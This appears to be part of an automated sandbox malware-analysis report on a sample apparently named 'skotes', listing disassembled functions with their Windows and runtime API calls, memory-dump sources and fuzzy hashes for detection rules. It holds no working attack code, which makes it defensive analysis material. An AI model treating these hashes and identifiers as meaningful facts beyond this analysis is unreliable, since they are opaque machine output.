Opcode Fuzzy Hash: 6216d83329a3209df67438af02903c6e9b09d36f54debea953983a2b7a8ea068
Instruction Fuzzy Hash: A0017C70A893059FDF54BBB8699036D7AA2AB4C750F50446EE405EB281EB748B408F9A

Function 02190081 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,%C,?,021A0C8C,000000FF,0000000C), ref: 02190098
GetLastError.KERNEL32(?,021A0C8C,?,00430925,?,?,?,?,?,?,02195F15,?), ref: 021900A7
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 021900BD

Strings

%C, xrefs: 02190094

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorLastObjectRegisterSingleWait
String ID: %C
API String ID: 2296417588-4291884666
Opcode ID: fbcf708f24b496e530a1d5d1bc838a4ad30d765a2443b3a5aa298535997dd61c
Instruction ID: e70c258cb1770638dcce0caf34be5cec82fb5e9b64dbdfaef96d7624ceea455e
Opcode Fuzzy Hash: fbcf708f24b496e530a1d5d1bc838a4ad30d765a2443b3a5aa298535997dd61c
Instruction Fuzzy Hash: F8F0A03954020AFBCF00EFA5DD04EAE37ADAB04705F240624B520E20D1DB35D6049B64

Function 0218D400 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

RtlLeaveCriticalSection.NTDLL(00465750), ref: 0218D42D
WaitForSingleObjectEx.KERNEL32(00468680,00000000,?,0218D39D,00000064,?,0045007C,?,02177854,00468680), ref: 0218D43E
RtlEnterCriticalSection.NTDLL(00465750), ref: 0218D445

Strings

PWF, xrefs: 0218D427

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveObjectSingleWait
String ID: PWF
API String ID: 501323975-4189640852
Opcode ID: 797b37c2cabad88e9ba561759b38bac6fac545db67df0b7ba0c67b1f35825c1a
Instruction ID: 5fdf8b1e8affce6683962649fc04e10b0dc305a791a2de6126be133c86ad411d
Opcode Fuzzy Hash: 797b37c2cabad88e9ba561759b38bac6fac545db67df0b7ba0c67b1f35825c1a
Instruction Fuzzy Hash: 14E01235541B24F7C7022B50EC49A9E3F69EB45753F144031FA05665619B656C40CBDF

Function 02177F97 Relevance: 6.4, APIs: 4, Instructions: 422libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,00462014), ref: 02178011
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02178072
GetProcAddress.KERNEL32(00000000), ref: 02178079
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0217813E

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: AddressHandleInfoModuleProcSystemVersion
String ID:
API String ID: 1456109104-0
Opcode ID: f86739a690633f7d14615720dab4f5b7d6e0e144a36365c4640fb5ca6efcc30f
Instruction ID: 393616de59abfc7fefeaf590048a29409f7f1898411d31ec95adfca352cffb1f
Opcode Fuzzy Hash: f86739a690633f7d14615720dab4f5b7d6e0e144a36365c4640fb5ca6efcc30f
Instruction Fuzzy Hash: 09E1D6B0E40254ABDB14BB68CD8A79DBB73AB82714FA4029CD815673C1EB754E458F83

Function 021ACE46 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 021ACECD

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: d1e2580fea8bb5659ef3a0ec9f2bd8d3f247a712cc4476731abb6eb94a7ef4ee
Instruction ID: ea99d2b373ede37230178bf4302a96f99e2222624665c8cbb92ea1d12664d824
Opcode Fuzzy Hash: d1e2580fea8bb5659ef3a0ec9f2bd8d3f247a712cc4476731abb6eb94a7ef4ee
Instruction Fuzzy Hash: 0DB1697A9406859FDB15CF28C8A1BFEBBF6EF45300F1581AAE854DB741D7358902CBA0

Function 021A52B5 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 021A537C
___AdjustPointer.LIBCMT ref: 021A539F
___AdjustPointer.LIBCMT ref: 021A543B

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: ee1216290e05d5aa883e1d856bebe084c5c42d67d7e9ed6b593ecc55b417bb7c
Instruction ID: 06f93ffecd728c896489ddb8256a5293efd8f4fdf7021cd6a79d5ffbf966d5e3
Opcode Fuzzy Hash: ee1216290e05d5aa883e1d856bebe084c5c42d67d7e9ed6b593ecc55b417bb7c
Instruction Fuzzy Hash: 8B51E37AA88706FFDB288F50D8A0B7A77B6EF80704F94452DEC0247590E7B1E884CB50

Function 021785E7 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,00462014), ref: 02178660
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 021786C7
GetProcAddress.KERNEL32(00000000), ref: 021786CE

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: a9352ec7e219f5b0e6875a96d9916c0a74e731d0ff9642be5bb7f7817e9f41d6
Instruction ID: 538ea50156d6755613a9bcb71d2a3c114af7ead1edf309f543f2cad0a34ff2a6
Opcode Fuzzy Hash: a9352ec7e219f5b0e6875a96d9916c0a74e731d0ff9642be5bb7f7817e9f41d6
Instruction Fuzzy Hash: 1F51F771D402089FDB14EB74DD887DDB776EB85310F5042A9E815A73C0EB359A848F91

Function 021A4E7C Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 021A4ECD
TypeidsEqual.LIBVCRUNTIME ref: 021A4EF2
PMDtoOffset.LIBCMT ref: 021A4F08
PMDtoOffset.LIBCMT ref: 021A4F89

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 990b4cbf17d9b67f495cfdb98441b6cd7864cce9700c16cb00c285aa5a0292a8
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 035190399442099FCF11CF6CC4A06EEFBF5EF05218F15545AE861A7351D7B2A948CB90

Function 021B6235 Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021B6305
_free.LIBCMT ref: 021B632E
SetEndOfFile.KERNEL32(00000000,021B1C71,00000000,021AAEF9,?,?,?,?,?,?,?,021B1C71,021AAEF9,00000000), ref: 021B6360
GetLastError.KERNEL32(?,?,?,?,?,?,?,021B1C71,021AAEF9,00000000,?,?,?,?,00000000), ref: 021B637C

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 6fb0f9e19d4acd712ab8c7b746a97e06f48a18ddc77e8d7a73dfb4aa9b2b61d0
Instruction ID: 04c5adffca701fdf787d1933ccd9d5fc011a91be024802ae91256f17b2db1f87
Opcode Fuzzy Hash: 6fb0f9e19d4acd712ab8c7b746a97e06f48a18ddc77e8d7a73dfb4aa9b2b61d0
Instruction Fuzzy Hash: BA41E636D806819FDB12ABB8CD40BDF77BEAF65320F150564E838E72A0EB34C5418B60

Function 02173127 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 021731C6
GetCurrentThreadId.KERNEL32 ref: 021731E5
__Mtx_unlock.LIBCPMT ref: 02173233
__Cnd_broadcast.LIBCPMT ref: 0217324A

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: d95c55a17dc6c0951bf91651ac23ff9b82cafa9506b18cb5ad1f8234279d2599
Instruction ID: d9f4214138a7bc242b3b687111a5b73fe06e3663a995188ca2af0706b8c12476
Opcode Fuzzy Hash: d95c55a17dc6c0951bf91651ac23ff9b82cafa9506b18cb5ad1f8234279d2599
Instruction Fuzzy Hash: 4D41FDB0A806059FDB24EF64C984B5AB7F8BF44324F0045AED826D7680EB34E604CFD1

Function 021A1D90 Relevance: 6.1, APIs: 4, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 021A1DA9

Part of subcall function 021A2078: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,021A1AF1), ref: 021A2088

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 021A1DBE
std::invalid_argument::invalid_argument.LIBCONCRT ref: 021A1DCD
std::invalid_argument::invalid_argument.LIBCONCRT ref: 021A1E91

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::std::invalid_argument::invalid_argument$ExecutionFreeIdleObjectProcessorProxy::ResetRoot::SingleSuspendThreadVirtualWait
String ID:
API String ID: 1312548968-0
Opcode ID: 84332b62cc3de3cfa4170185330e29230a9dc1dcd046b531a1b7116e20220df0
Instruction ID: 47b089488e10bcfbbc76e0d0353b5bb2fd4543e7debb41c1bf6acc14c5b6dbfa
Opcode Fuzzy Hash: 84332b62cc3de3cfa4170185330e29230a9dc1dcd046b531a1b7116e20220df0
Instruction Fuzzy Hash: 9131F639A40214BFCF1AEF68C9A4B6D737ABF44310F204569ED1597281DB71EE05CB94

Function 02192F63 Relevance: 6.1, APIs: 4, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 02192F76

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 22ca41de25d3fddfd321250d59b84d7d3dba6f78c4a0763dc9e7bbb86f5d08b7
Instruction ID: d7cd402c7079640e2102ae22b7dc2aede0cb07f9a6ce0f4708e42914ab2281e3
Opcode Fuzzy Hash: 22ca41de25d3fddfd321250d59b84d7d3dba6f78c4a0763dc9e7bbb86f5d08b7
Instruction Fuzzy Hash: 57315775E40309EFCF14DF94C4C0BAEBBB9BF44344F1804AAD965AB246D731AA45CBA0

Function 021ADBB6 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 021A6C33: _free.LIBCMT ref: 021A6C41

Part of subcall function 021AEB8D: WideCharToMultiByte.KERNEL32(02178A07,00000000,0045FB20,00000000,02178A07,02178A07,021B08B7,?,0045FB20,?,00000000,?,021B0626,0000FDE9,00000000,?), ref: 021AEC2F

GetLastError.KERNEL32 ref: 021ADC1E
__dosmaperr.LIBCMT ref: 021ADC25
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 021ADC64
__dosmaperr.LIBCMT ref: 021ADC6B

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: e192af22dab1e85764783ba134b35ca1a0735bfe77ce3258f04da4e50815c0b3
Instruction ID: 77eefaf1a967b9ed4671d9b518c1015343ebf3fab727a587b8e5c374f35a74ab
Opcode Fuzzy Hash: e192af22dab1e85764783ba134b35ca1a0735bfe77ce3258f04da4e50815c0b3
Instruction Fuzzy Hash: 2A21D3B9680A19AFDB219F61ACA0E6BB7ADEF05374740452CE83983584D770ED008FA0

Function 021A1A91 Relevance: 6.1, APIs: 4, Instructions: 85threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 021A1AEC
std::invalid_argument::invalid_argument.LIBCONCRT ref: 021A1B0B
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 021A1B52

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ExecutionFreeIdleProcessorProxy::Root::SpinSuspendThreadUntilVirtualstd::invalid_argument::invalid_argument
String ID:
API String ID: 1284976207-0
Opcode ID: e9b064e3ffac3daba16c5b096d74077ea667223e78b02618e4975b94426a83e1
Instruction ID: 8c044362cec708af3e1f081d6476671c4e97a5a11fec9a0bd5bbe16fae523fb1
Opcode Fuzzy Hash: e9b064e3ffac3daba16c5b096d74077ea667223e78b02618e4975b94426a83e1
Instruction Fuzzy Hash: 1A21293D740615AFCB18AB28D8B4B6D73B6BF84334F04052AE41A872D1DB64E841CED4

Function 021A0CFF Relevance: 6.1, APIs: 4, Instructions: 80threadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?), ref: 021A0D50
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 021A0D38

Part of subcall function 02199196: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 021991B7

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 021A0DB3
SwitchToThread.KERNEL32(00000005,00000004,00000000,?,?,?,?,?,?,?,0045F4C0), ref: 021A0DB8

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Event$Base::Concurrency::details::$Trace$SwitchThreadThrow
String ID:
API String ID: 2734100425-0
Opcode ID: 2e8a3a5ddc2bebb452bc5efae35c7b376e30f6768224933571346adf22c5373c
Instruction ID: 09d6999a00de9c5c2cc9a650d633d83ccf7885388abea0457a3d0b74753900ca
Opcode Fuzzy Hash: 2e8a3a5ddc2bebb452bc5efae35c7b376e30f6768224933571346adf22c5373c
Instruction Fuzzy Hash: DA212679640214AFCB10EB68CC44E6EB7BDEF48360F04016AFA15A32D0CB71BD01CEA5

Function 021AB3E4 Relevance: 6.1, APIs: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b882474e2421becce6f7ac3255c006c5444dc2a1b8804bcc2ed4a91c923f1653
Instruction ID: e74eafdc4bd23b97b53e03dcae908f04e305c6dcff5b139d44874288232b3969
Opcode Fuzzy Hash: b882474e2421becce6f7ac3255c006c5444dc2a1b8804bcc2ed4a91c923f1653
Instruction Fuzzy Hash: DC21D539AC9364FBCB318BA49C65B1A37589F317A8F110525FC17A72A1D730EE00C6E4

Function 02195109 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::AddVirtualProcessor.LIBCONCRT ref: 02195168
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0219518B
__EH_prolog3.LIBCMT ref: 021951A6
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 021951CD

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: CacheConcurrency::details::GroupLocalSchedule$H_prolog3Node::ProcessorSchedulingSegmentSegment::Virtualstd::invalid_argument::invalid_argument
String ID:
API String ID: 2642201467-0
Opcode ID: 8c7b1ccd00f45581bab929026422e21ff28f01d8dc45cb75e357af66afe4e75e
Instruction ID: 1e3163718ada381d4d891b9ef63b0442349577c831675ce4b3e91b34c12b025e
Opcode Fuzzy Hash: 8c7b1ccd00f45581bab929026422e21ff28f01d8dc45cb75e357af66afe4e75e
Instruction Fuzzy Hash: 1B21CF35640205FFCF15EFA8C891AAD73B6FF48311F50406AE916AB690DB71AE02CF95

Function 021A1599 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 021A162D
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 021A15DE

Part of subcall function 02198582: SafeRWList.LIBCONCRT ref: 02198593

SafeRWList.LIBCONCRT ref: 021A1623
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 021A1643

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::ContextListSafeStealer$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 336577199-0
Opcode ID: 633f29ab29772fce27dba393e8379a29e8a0d8340c800c4eeedaee01f30ccdc5
Instruction ID: ae2bcaab04ffee2bb6dc5aac69f35477a84096cf95c2d7d396811c6b9308d70b
Opcode Fuzzy Hash: 633f29ab29772fce27dba393e8379a29e8a0d8340c800c4eeedaee01f30ccdc5
Instruction Fuzzy Hash: 5921077169020AEFCB04DF24C880FA5FBEABF81318F54C2A6D40A4B541D771E58ACBC0

Function 021A621E Relevance: 6.1, APIs: 4, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65fe2d25819fbcf81a19c36cb243a6994e9bb55f4a4ff3c1705520088a00f9a9
Instruction ID: 503cb7ceeff1a744cf1d17299d77b70172232acdf132f040cf1949548f0a76cb
Opcode Fuzzy Hash: 65fe2d25819fbcf81a19c36cb243a6994e9bb55f4a4ff3c1705520088a00f9a9
Instruction Fuzzy Hash: 2E110B3DE81765ABCF224F649C64B2A376CDF017A0F190623F811A7291D770ED04C6E4

Function 0218F554 Relevance: 6.1, APIs: 4, Instructions: 55timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 0218F576

Part of subcall function 0218F732: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 021956ED

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0218F597

Part of subcall function 02190419: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 02190435

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 0218F5B3
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 0218F5BA

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Timer$Scheduler$Base::LibraryLoadQueue$AsyncConcurrency::details::platform::__ContextCreateCurrentDefaultReferenceRegisterShared
String ID:
API String ID: 1684785560-0
Opcode ID: 04357caceeb09c65516863605c6f7112208db5e15fbad483dcb42361f4682929
Instruction ID: fdcccd757252db87d26ba880b9494fdf7b610a1834ec5e313602add0d36ac087
Opcode Fuzzy Hash: 04357caceeb09c65516863605c6f7112208db5e15fbad483dcb42361f4682929
Instruction Fuzzy Hash: 920100B1580305BFEB307F68CCC09ABBBE9EF10344B90492AE86592581D77096568EA1

Function 021A3628 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 021A3642
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 021A3656
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 021A366E
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 021A3686

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 950a6ca26458d6e273c38e0cad4959980ca403f059e6ee5a8f24e300cfe20e9f
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 7301D63A680114ABCF16AE5D9960BEF77AA9F84750F000095FC25A7381DB70EE118AE0

Function 021ABAA2 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,021ABC07,00000000,?,021B2212,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 021ABAB8
GetLastError.KERNEL32(?,021B2212,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,021ABC07,00000000,00000104,?), ref: 021ABAC2
__dosmaperr.LIBCMT ref: 021ABAC9

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 573f122ae82f08db5f9a13de85ef365be3234010d0279eca2789f216f3b9dc80
Instruction ID: ad9e2d4bfef4ff59be036b7981764e90f405ca58a6540e98c4984c6e7098527c
Opcode Fuzzy Hash: 573f122ae82f08db5f9a13de85ef365be3234010d0279eca2789f216f3b9dc80
Instruction Fuzzy Hash: 4CF0813A244655BB8B215FA2DC18D6AFF6AFF543B57018520F529C7420D731E911CBE0

Function 021ABB0B Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,021ABC07,00000000,?,021B219D,00000000,00000000,021ABC07,?,?,00000000,00000000,00000001), ref: 021ABB21
GetLastError.KERNEL32(?,021B219D,00000000,00000000,021ABC07,?,?,00000000,00000000,00000001,00000000,00000000,?,021ABC07,00000000,00000104), ref: 021ABB2B
__dosmaperr.LIBCMT ref: 021ABB32

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 8d52b872a16da2ecde656976662c890ef9145f26e1d0b0297742ad47c23117d8
Instruction ID: 86653e4190eddc3a15aeff98e8ffa10b375672db99223f7b1e5a7cf1ee0c0818
Opcode Fuzzy Hash: 8d52b872a16da2ecde656976662c890ef9145f26e1d0b0297742ad47c23117d8
Instruction Fuzzy Hash: 9AF06D3A645655BB8B311BA2DC28D5AFF6AFF543A57008124F529C7424DB32EA21CBD0

Function 0219526C Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 021901CD: TlsGetValue.KERNEL32(?,?,0218F74E,0218F57B,?,?), ref: 021901D3

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 02195296

Part of subcall function 0219E575: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0219E59C
Part of subcall function 0219E575: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0219E5B5
Part of subcall function 0219E575: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0219E62B
Part of subcall function 0219E575: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 0219E633

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 021952A4
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 021952AE
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 021952B8

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceValueVirtualWork
String ID:
API String ID: 2616382602-0
Opcode ID: 70a698541e2e15fa6626dca2384dcb953701250920abc52d754e3547d00c3c09
Instruction ID: b09fc4b8c7e84d981b8651a7e8a1d07f435087ef8fd92dd85b0dddab60737ecb
Opcode Fuzzy Hash: 70a698541e2e15fa6626dca2384dcb953701250920abc52d754e3547d00c3c09
Instruction Fuzzy Hash: 8FF02B35E80624BFCF26B766C810A6DF76BAF81B50B54012AE52153290DF75DA058FC2

Function 0218C86B Relevance: 6.0, APIs: 4, Instructions: 39timeCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0218FB78
Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0218FBAB
Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0218FBB7
Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0218FBC0

Part of subcall function 0218F554: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 0218F576
Part of subcall function 0218F554: Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0218F597

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Concurrency::critical_section::_Timer$Acquire_lockAsyncBase::ContextCurrentDerefH_prolog3LibraryLoadLockNodeNode::QueueRegisterSchedulerSwitch_to_active
String ID:
API String ID: 2559503089-0
Opcode ID: 6202bdfdb5770ea946800c78cd8ea731ca40aa09cdf17d07ebd0c2e6249b1ab2
Instruction ID: 538f554e2347e50fefbad5f3858fb2a1f130cf7e2657d7a0d86f890481662b4d
